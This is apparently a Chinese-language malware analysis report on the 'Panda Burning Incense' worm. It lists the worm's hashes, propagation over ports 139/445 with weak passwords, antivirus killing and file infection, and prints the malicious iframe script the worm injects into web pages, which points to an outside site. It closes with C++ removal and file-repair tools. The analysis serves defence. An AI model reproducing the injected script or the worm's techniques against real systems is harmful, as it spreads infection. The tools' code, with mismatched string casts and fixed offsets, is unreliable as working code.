目錄
前言
一、樣本概況
1.1 樣本信息
1.2 測試環境及工具
1.3 分析目標
二、具體行為分析
2.1 主要行為
2.1.1?惡意程序對用戶造成的危害
2.2?惡意代碼分析
2.2.1?加固后的惡意代碼樹結構圖(是否有加固)
2.2.2?惡意程序的代碼分析片段
三、解決方案(或總結)
3.1 提取病毒的特征,利用殺毒軟件查殺
3.2 手工查殺步驟或是工具查殺步驟或是查殺思路等。
3.3 編寫自動查殺工具
3.4 被感染文件修復工具的編寫
3.5 總結
前言
????????“熊貓燒香”病毒作為中國計算機病毒史上的典型案例,曾于2006年底至2007年初肆虐網絡,造成大規模破壞。其獨特的感染方式和強大的破壞力使其成為網絡安全領域的重要研究對象。本文將從病毒的原理、傳播方式、查殺方法及修復步驟等方面展開分析,幫助讀者深入了解這一病毒及其應對策略。
一、樣本概況
1.1 樣本信息
病毒名稱:(Nimaya)熊貓燒香
所屬家族:Virus.Win32.Lamer.gx(卡巴斯基)?
MD5?值:B8F8E75C9E77743A61BBEA9CCBCFFD5D
SHA1?值:188FC8FC580C0EA4BF8A8900A3D36471823C8923?
SHA256:0c15096fb3bc30800f7af002c25953162b799391300a62b8507fe8e4f6532768
SSDeep: 3072:apAja0pSLwYqK6hVZ7N4bdq4a53YKCOTpc:a2ja0pShqK65ZOq4QYK1m CRC32:E63D45D3
病毒行為:
設置注冊表自啟動,刪除服務,修改 PE?文件,自我復制,結束殺軟進程,刪除殺軟啟動項,局域網感染,下載病毒執行等。
被感染體特征:
被感染體行為:分離出病毒文件和被感染文件,創建病毒進程,其他行為同原病毒文件。
1.2 測試環境及工具
測試環境:VMvare14 windows7-32?系統
工具:火絨劍,ollydebug,IDA,Hash?計算工具,WSExplorer,010Editor
1.3 分析目標
主要對原病毒樣本進行分析,解剖出各種惡意行為的代碼。
二、具體行為分析
2.1 主要行為
????????運行后該病毒將自身拷貝至系統目錄,同時修改注冊表將自身設置為開機啟動項,并遍歷各個驅動器,將自身寫入各個驅動器,將自身寫入寫入磁盤的根目錄下,增加一個 Autorun.inf 文件,使得用戶打開該盤時激活病毒體。隨后病毒體開一個線程進行本地文件感染,同時開另外一個線程連接網站下載 ddos?程序進行惡意攻擊。
????????通過云沙箱大概了解該病毒的執行流程如下圖:
被感染的程序主要行為流程如下圖:
同時,也可以快速了解各種網絡請求如下圖。
執行原病毒程序后會產生一個新的病毒進程,如 OD?視圖所示:
通過火絨劍各種過濾可以大概發現有以下行為:修改啟動項和文件隱藏屬性
創建和修改 Desktop.ini?文件,寫入時間,或設置只讀屬性及隱藏
?注冊病毒程序啟動項,隱藏病毒文件 setup.exe?和 autorun.inf
偷偷請求網站鏈接
調試技巧:
使用 OD?動態調試樣本,不讓樣本創建進程,修改 ZF?標志位改變 4082ED?跳轉,以便調試之后的感染函數代碼以及其他函數代碼。如下圖所示
現在開始列舉熊貓燒香的各種惡意行為如下:行為 1:自我復制
遍歷進程找到病毒進程(spo0lsv.exe)就退出并結束掉,CopyFile?到系統目錄(C:\Windows\System32\drivers),然后就運行程序(spo0lsv.exe)。
代碼位置:sub_40819C
如果運行的是被感染的程序就會執行如下代碼:
創建批處理文件功能是判斷 spo0lsv.exe?是否存在,從被感染的文件分裂出病毒程序重新執行。
行為 2:使用 net?share?命令關閉管理共享
代碼位置:sub_40CDEC
行為 3:停止殺軟進程
與殺毒軟件進行對抗,通過窗口名稱或進程名稱關閉軟件。
代碼位置:sub_4061B8
行為 4:刪除安全類軟件在注冊表中的啟動項
代碼位置:sub_406E44
行為 5:注冊表中增加病毒程序啟動項
代碼位置:TimerFunc?以及行為 6?截圖中的代碼
行為 6:修改注冊表中隱藏文件的設置
行為 7:創建病毒進程請見行為 1?截圖
行為 8:創建副本文件
創建行為一中的副本和下面的 Setup.exe?副本
代碼位置:TimerFunc
行為 9:局域網傳播
連接攻擊目標的 139?或 445?端口后,匹配賬戶名和弱密碼,連接成功將副本以 GameSetup.exe 的文件名復制到局域網其他電腦中,具體如下圖等。
賬戶如下:
弱密碼如下:
連接攻擊 139,445?端口如下:代碼位置:sub_40B864
復制 GameSetup.exe?文件名的病毒:
代碼位置:sub_40A928
行為 10;感染本地 exe,pif,src,html,asp?等文件
代碼位置:sub_409348
行為 11:嘗試刪除 GHO?備份文件
代碼位置:sub_409348
行為 12:禁用刪除軟件相關服務請見見行為 4 截圖
行為 13:下載惡意代碼,木馬等代碼位置:sub_40C9B0
代碼位置:sub_40C5E0
2.1.1?惡意程序對用戶造成的危害
1、復制病毒體,偽造正常程序
2、感染破壞系統中 exe,com,pif,src,html,asp 等文件,被感染執行體還有傳染性。其中頁面文件寫進的腳本會誘導打開別的網站,注入腳本為
<iframe src=http://www.ac86.cn/66/index.htm width="0" height="0"></iframe>。
3、中止大量的反病毒軟件進程,刪除其服務及啟動項,并且會刪除擴展名為 gho 的備份文件,設置隱藏文件恢復顯示不了。
4、局域網傳播感染
5、下載惡意代碼并執行
6、向外發包,連接局域網中其他機器。
2.2?惡意代碼分析
2.2.1?加固后的惡意代碼樹結構圖(是否有加固)
分析樣本已經脫過殼,不過程序執行前部分有不少人為留下的信息,這些應該是病毒制作者與反病毒人員的交流信號,可以忽略。這里可以展示一下該病毒程序的惡意代碼執行流程結構圖。
2.2.2?惡意程序的代碼分析片段
1、總體偽代碼和匯編代碼框架
2、病毒的自我復制和執行
2、全盤病毒感染和感染個體的細節
遍歷磁盤感染:
感染個體文件細節:?
代碼位置:sub_407F00
先把目標文件讀到內存,獲取文件名和大小。復制病毒到感染路徑覆蓋原文件,然后將被感染文件的內容追加到復制出來的病毒文件中后面,接著追加感染標識WhBoy+原文件名+隨機數。分析如下:
感染網頁文件如下:
OD中調試被解密的密串和解密之后的腳本代碼
嘗試連接局域網目標445端口:
三、解決方案(或總結)
3.1 提取病毒的特征,利用殺毒軟件查殺
3.2 手工查殺步驟或是工具查殺步驟或是查殺思路等。

3.3 編寫自動查殺工具
#include "KillingTools.h"
#include <iostream>
using namespace std;//根據進程名稱獲取進程ID
DWORD GetProcessIDByName(const char* pName){HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (INVALID_HANDLE_VALUE == hSnapshot) {return NULL;}PROCESSENTRY32 pe = { sizeof(pe) };for (BOOL ret = Process32First(hSnapshot, &pe); ret; ret = Process32Next(hSnapshot, &pe)) {USES_CONVERSION;if (strcmp(W2CA(pe.szExeFile), pName) == 0) {CloseHandle(hSnapshot);return pe.th32ProcessID;}}CloseHandle(hSnapshot);return 0;
}//提升權限
BOOL EnablePrivilege(LPCTSTR szPrivilege, BOOL fEnable) {BOOL fOk = FALSE;HANDLE hToken = NULL;if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {TOKEN_PRIVILEGES tp;tp.PrivilegeCount = 1;LookupPrivilegeValue(NULL, szPrivilege, &tp.Privileges[0].Luid);tp.Privileges->Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);fOk = (GetLastError() == ERROR_SUCCESS);CloseHandle(hToken);}return fOk;
}//計算散列值
DWORD CRC32(BYTE* ptr, DWORD Size){DWORD crcTable[256], crcTmp1;//動態生成CRC-32表for (int i = 0; i < 256; i++){crcTmp1 = i;for (int j = 8; j > 0; j--){if (crcTmp1 & 1) crcTmp1 = (crcTmp1 >> 1) ^ 0xEDB88320L;else crcTmp1 >>= 1;}crcTable[i] = crcTmp1;}//計算CRC32值DWORD crcTmp2 = 0xFFFFFFFF;while (Size--){crcTmp2 = ((crcTmp2 >> 8) & 0x00FFFFFF) ^ crcTable[(crcTmp2 ^ (*ptr)) & 0xFF];ptr++;}return (crcTmp2 ^ 0xFFFFFFFF);
}//遍歷刪除Desktop_.ini
DWORD WINAPI FindFiles(LPVOID lpszPath){WIN32_FIND_DATA stFindFile;HANDLE hFindFile;// 掃描路徑char szPath[MAX_PATH];char szFindFile[MAX_PATH];char szSearch[MAX_PATH];char *szFilter;int len;int ret = 0;szFilter = "*.*";lstrcpy((LPWSTR)szPath, (LPCWSTR)lpszPath);len = lstrlen((LPCWSTR)szPath);if (szPath[len - 1] != '\\'){szPath[len] = '\\';szPath[len + 1] = '\0';}lstrcpy((LPWSTR)szSearch, (LPCWSTR)szPath);lstrcat((LPWSTR)szSearch, (LPCWSTR)szFilter);hFindFile = FindFirstFile((LPCWSTR)szSearch, &stFindFile);if (hFindFile != INVALID_HANDLE_VALUE){do{lstrcpy((LPWSTR)szFindFile, (LPCWSTR)szPath);lstrcat((LPWSTR)szFindFile, stFindFile.cFileName);if (stFindFile.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY){if (stFindFile.cFileName[0] != '.'){FindFiles(szFindFile);}}else{if (!lstrcmp(stFindFile.cFileName, L"Desktop_.ini")){// 去除文件的隱藏、系統以及只讀屬性DWORD dwFileAttributes = GetFileAttributes((LPCWSTR)szFindFile);dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN;dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;SetFileAttributes((LPCWSTR)szFindFile, dwFileAttributes);// 刪除Desktop_.iniBOOL bRet = DeleteFile((LPCWSTR)szFindFile);cout << szFindFile << endl;if (bRet){cout << "被刪除" << endl;}else{cout << "無法刪除" << endl;}}}ret = FindNextFile(hFindFile, &stFindFile);} while (ret != 0);}FindClose(hFindFile);return 0;
}int main() {BOOL bRet = FALSE;DWORD dwPid = 0;//進程ID// 提升權限BOOL bRet1 = EnablePrivilege(SE_DEBUG_NAME, TRUE);if (bRet1 == FALSE){cout << "提升權限失敗" << endl;}else{cout << "提升權限成功!" << endl;}dwPid = GetProcessIDByName("spo0lsv.exe");if (dwPid != 0) { bRet = 1; }// 結束spo0lsv.exe進程,并刪除病毒程序本身if (bRet == TRUE){cout << "查找系統病毒進程..." << endl;cout << "系統中存在病毒進程:spo0lsv.exe" << endl;cout << "準備進行查殺..." << endl;// 打開并嘗試結束病毒進程HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);if (hProcess == INVALID_HANDLE_VALUE){cout << "無法結束病毒進程" << endl;return 0;}bRet = TerminateProcess(hProcess, 0);if (bRet == FALSE){cout << "無法結束病毒進程" << endl;return 0;}cout << "病毒進程已經結束" << endl;CloseHandle(hProcess);}else{cout << "系統中不存在spo0lsv.exe病毒進程" << endl;}Sleep(10);// 查殺磁盤中是否存在名為spo0lsv.exe的病毒文件char szSysPath[MAX_PATH] = { 0 };GetSystemDirectory((LPWSTR)szSysPath, MAX_PATH);lstrcat((LPWSTR)szSysPath, L"\\drivers\\spo0lsv.exe");cout << "檢查硬盤中是否存在spo0lsv.exe文件..." << endl;if (GetFileAttributes((LPWSTR)szSysPath) == 0xFFFFFFFF){cout << "spo0lsv.exe病毒文件不存在" << endl;}else{cout << "spo0lsv.exe病毒文件存在,正在計算散列值" << endl;HANDLE hFile = CreateFile((LPWSTR)szSysPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (hFile == INVALID_HANDLE_VALUE){cout << "Create Error" << endl;return 0;}DWORD dwSize = GetFileSize(hFile, NULL);if (dwSize == 0xFFFFFFFF){cout << "GetFileSize Error" << endl;return 0;}BYTE *pFile = (BYTE*)malloc(dwSize);if (pFile == NULL){cout << "malloc Error" << endl;return 0;}DWORD dwNum = 0;ReadFile(hFile, pFile, dwSize, &dwNum, NULL);// 計算spo0lsv.exe的散列值DWORD dwCrc32 = CRC32(pFile, dwSize);if (pFile != NULL){free(pFile);pFile = NULL;}CloseHandle(hFile);// 3862775251是“熊貓燒香”病毒的散列值if (dwCrc32 != 3862775251){cout << "spo0lsv.exe比較校驗失敗" << endl;}else{cout << "spo0lsv.exe比較校驗成功,正在刪除..." << endl;// 去除文件的隱藏、系統以及只讀屬性DWORD dwFileAttributes = GetFileAttributes((LPCWSTR)szSysPath);dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN;dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;SetFileAttributes((LPCWSTR)szSysPath, dwFileAttributes);// 刪除spo0lsv.exebRet = DeleteFile((LPCWSTR)szSysPath);if (bRet){cout << "spoclsv.exe病毒被刪除!" << endl;}else{cout << "spoclsv.exe病毒無法刪除" << endl;}}}// 刪除每個盤符下的setup.exe與autorun.inf,以及Desktop_.inichar szDriverString[MAXBYTE] = { 0 };char *pTmp = NULL;//獲取字符串類型的驅動器列表 GetLogicalDriveStrings(MAXBYTE, (LPWSTR)szDriverString);pTmp = szDriverString;while (*pTmp){char szAutorunPath[MAX_PATH] = { 0 };char szSetupPath[MAX_PATH] = { 0 };lstrcat((LPWSTR)szAutorunPath, (LPCWSTR)pTmp);lstrcat((LPWSTR)szAutorunPath, L"autorun.inf");lstrcat((LPWSTR)szSetupPath, (LPCWSTR)pTmp);lstrcat((LPWSTR)szSetupPath, L"setup.exe");if (GetFileAttributes((LPCWSTR)szSetupPath) == 0xFFFFFFFF){cout << pTmp << " setup.exe病毒文件不存在" << endl;}else{cout << pTmp << " setup.exe病毒文件存在,正在進行計算校驗和..." << endl;HANDLE hFile = CreateFile((LPCWSTR)szSetupPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (hFile == INVALID_HANDLE_VALUE){cout << "Create Error" << endl;return 0;}DWORD dwSize = GetFileSize(hFile, NULL);if (dwSize == 0xFFFFFFFF){cout << "GetFileSize Error" << endl;return 0;}BYTE *pFile = (BYTE*)malloc(dwSize);if (pFile == NULL){cout << "malloc Error" << endl;return 0;}DWORD dwNum = 0;ReadFile(hFile, pFile, dwSize, &dwNum, NULL);DWORD dwCrc32 = CRC32(pFile, dwSize);if (pFile != NULL){free(pFile);pFile = NULL;}CloseHandle(hFile);if (dwCrc32 != 3862775251){cout << "比較校驗失敗" << endl;}else{cout << "比較校驗成功,正在刪除..." << endl;// 去除文件的隱藏、系統以及只讀屬性DWORD dwFileAttributes = GetFileAttributes((LPCWSTR)szSetupPath);dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN;dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;SetFileAttributes((LPCWSTR)szSetupPath, dwFileAttributes);// 刪除setup.exebRet = DeleteFile((LPCWSTR)szSetupPath);if (bRet){cout << pTmp << " setup.exe病毒已刪除!" << endl;}else{cout << pTmp << " setup.exe病毒無法刪除" << endl;}}}// 去除文件的隱藏、系統以及只讀屬性DWORD dwFileAttributes = GetFileAttributes((LPCWSTR)szAutorunPath);dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN;dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;SetFileAttributes((LPCWSTR)szAutorunPath, dwFileAttributes);// 刪除autorun.infbRet = DeleteFile((LPCWSTR)szAutorunPath);if (bRet){cout << pTmp << " autorun.inf已刪除!" << endl;}else{cout << pTmp << " autorun.inf不存在或無法刪除" << endl;}// 刪除Desktop_.iniFindFiles(pTmp);// 檢查下一個盤符pTmp += 4;}// 修復注冊表內容,刪除病毒啟動項并修復文件的隱藏顯示cout << "正在檢查注冊表..." << endl;// 首先檢查啟動項TCHAR RegRun[] = TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run");HKEY hKeyHKCU = NULL;LONG lSize = MAXBYTE;char cData[MAXBYTE] = { 0 };long lRet = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCWSTR)RegRun, 0, KEY_WOW64_32KEY | KEY_ALL_ACCESS, &hKeyHKCU);if (lRet == ERROR_SUCCESS){lRet = RegQueryValueEx(hKeyHKCU, L"svcshare", NULL, NULL, (unsigned char *)cData, (unsigned long *)&lSize);if (lRet == ERROR_SUCCESS){if (lstrcmp((LPCWSTR)cData, L"C:\\WINDOWS\\system32\\drivers\\spo0lsv.exe") == 0){cout << "注冊表啟動項中存在病毒信息項" << endl;}lRet = RegDeleteValue(hKeyHKCU, L"svcshare");if (lRet == ERROR_SUCCESS){cout << "注冊表啟動項中的病毒信息已刪除!" << endl;}else{cout << "注冊表啟動項中的病毒信息無法刪除" << endl;}}else{cout << "注冊表啟動項中不存在病毒信息" << endl;}RegCloseKey(hKeyHKCU);}else{cout << "注冊表啟動項信息讀取失敗" << endl;}// 接下來修復文件的隱藏顯示,需要將CheckedValue的值設置為1TCHAR RegHide[] = TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL");HKEY hKeyHKLM = NULL;DWORD dwFlag = 1;long lRetHide = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCWSTR)RegHide, 0, KEY_WOW64_32KEY | KEY_ALL_ACCESS, &hKeyHKLM);if (lRetHide == ERROR_SUCCESS){cout << "檢測注冊表的文件隱藏選項..." << endl;if (ERROR_SUCCESS == RegSetValueEx(hKeyHKLM, //subkey handle L"CheckedValue", //value name 0, //must be zero REG_DWORD, //value type (CONST BYTE*)&dwFlag, //pointer to value data 4)) //length of value data{cout << "注冊表修復完畢!" << endl;}else{cout << "無法恢復注冊表的文件隱藏選項" << endl;}}cout << "病毒初步查殺完成,請使用專業殺毒軟件進行全面掃描!" << endl;system("pause");return 0;
}
3.4 被感染文件修復工具的編寫
#include <stdio.h>
#include "stdlib.h"
#include <windows.h>//str1中尋找str2的位置
int findsub(char *str1, char *str2, long sizes)
{int i = 0, j = 0;while (sizes - i) //多少個字符長度就執行多少次{for (; str1[i] != str2[0]; i++);//后面每個字符比較都不相等就i++if (str1[i] == str2[0])//判斷首次相等{for (j = 0; str1[i + j] == str2[j]; j++);//后面每個字符比較都相等就j++if (str2[j] == '\0')//直到把字符串2都比較完都相等return i + 1; // 返回字符串2中出現字符串1的第一個位置}i++; //不相等就繼續往后走}return -1;//如果沒有找到合適的返回-1.
}//恢復被感染文件為正常文件
void recover(int pos1, int pos2) {FILE *in, *out;char ch;//打開源文件Exam1.exeif ((in = fopen("Exam1.exe", "rb")) == NULL){printf("The file %s can not be opened.\n", "Exam1.exe");return;}//創建修復文件Exam2.exeif ((out = fopen("Exam2.exe", "wb")) == NULL){printf("The file %s can not be opened.\n", "Exam2.exe");return;}int i = 0;while (!feof(in))//判斷文本結束{ch = fgetc(in);//讀取一個字符if (ferror(in)){printf("read error!\n");clearerr(in);}else{//寫入特定位置的字符if (pos1 <= i&&i <= pos2)fputc(ch, out);i++;//移動位置if (ferror(out))//ferror函數檢查輸出{printf("write error!\n");//文件錯誤標志和文件結束標志置為0clearerr(out);}}}//關閉文件流fclose(in);fclose(out);
}void main()
{FILE *f = fopen("Exam1.exe", "rb");fseek(f, 0, SEEK_END);long fsize = ftell(f);//獲取源文件大小fseek(f, 0, SEEK_SET);fclose(f);//用于存儲源文件內容char *string = (char*)malloc(fsize + 1);FILE *in, *out;char ch;if ((in = fopen("Exam1.exe", "rb")) == NULL){printf("The file %s can not be opened.\n", "Exam1.exe");return;}int i = 0;while (!feof(in)){ch = fgetc(in);if (ferror(in)){printf("read error!\n");clearerr(in);}else{//一個個字符保存string[i] = ch;i++;}}fclose(in);//保存正常文件的MZ頭位置int count1 = findsub(string, "This", fsize + 1) - 79;//保存感染標志位WhBoyExam1的位置int count2 = findsub(string, "WhBoyExam1", fsize + 1) - 2;//開始修復文件recover(count1, count2);//釋放內存delete string;//刪除病毒文件DeleteFile(L"Exam1.exe");system("pause");
}